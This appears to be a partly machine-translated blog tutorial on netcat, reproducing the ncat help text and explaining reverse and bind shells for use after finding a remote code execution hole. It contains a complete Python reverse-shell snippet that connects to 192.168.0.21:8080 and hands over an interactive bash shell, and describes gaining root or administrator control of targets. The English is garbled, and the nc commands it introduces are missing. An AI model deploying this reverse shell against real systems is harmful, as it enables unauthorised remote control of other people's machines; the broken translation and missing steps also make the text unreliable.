Port forwarding of nc

nc use:

Ncat 7.50 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -U, --unixsock             Use Unix domain sockets only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)
  -w, --wait <time>          Connect timeout
  -z                         Zero-I/O mode, report connection status only
      --append-output        Append rather than clobber specified output files
      --send-only            Only send data, ignoring received; quit on EOF
      --recv-only            Only receive data, never send anything
      --allow                Allow only given hosts to connect to Ncat
      --allowfile            A file of hosts allowed to connect to Ncat
      --deny                 Deny given hosts from connecting to Ncat
      --denyfile             A file of hosts denied from connecting to Ncat
      --broker               Enable Ncat's connection brokering mode
      --chat                 Start a simple Ncat chat server
      --proxy <addr[:port]>  Specify address of host to proxy through
      --proxy-type <type>    Specify proxy type ("http" or "socks4" or "socks5")
      --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server
      --ssl                  Connect or listen with SSL
      --ssl-cert             Specify SSL certificate file (PEM) for listening
      --ssl-key              Specify SSL private key (PEM) for listening
      --ssl-verify           Verify trust and domain name of certificates
      --ssl-trustfile        PEM file containing trusted SSL certificates
      --ssl-ciphers          Cipherlist containing SSL ciphers to use
      --version              Display Ncat's version information and exit

See the ncat(1) manpage for full options, descriptions and usage examples

 

Reverse connection

 

In this example, the target port 4444 using the reverse connection attacker. -e option Bash shell back to the attacker. Please note that we can also use the -e option on Windows cmd.exe. Suppose we have found a remote code execution (RCE) vulnerabilities on the target host. We can use on the target host -e command issued Netcat, Netcat issue commands to start and use the reverse shell.

First start eavesdropping attack ends:

 

And then start the back end of the target shell:

 linux

You can then control target terminal server in the attack side, with root privileges;

win7

You can then control the target end of win7 system attacks end to administrator privileges;

Reverse python shell:

import os,socket,subprocess;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.21',8080))
#重定向shell输出
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
#执行子程序
p=subprocess.call(['/bin/bash','-i'])

 

正向连接

在该图中，目标使用Netcat侦听器将Bash shell绑定到它特定端口4444。攻击者使用简单的Netcat命令连接到此端口。设置bind shell的步骤如下：

使用Netcat将一个bash shell绑定到4444端口。 从攻击主机连接到端口4444上的目标主机。 从攻击主机发出命令到目标主机上。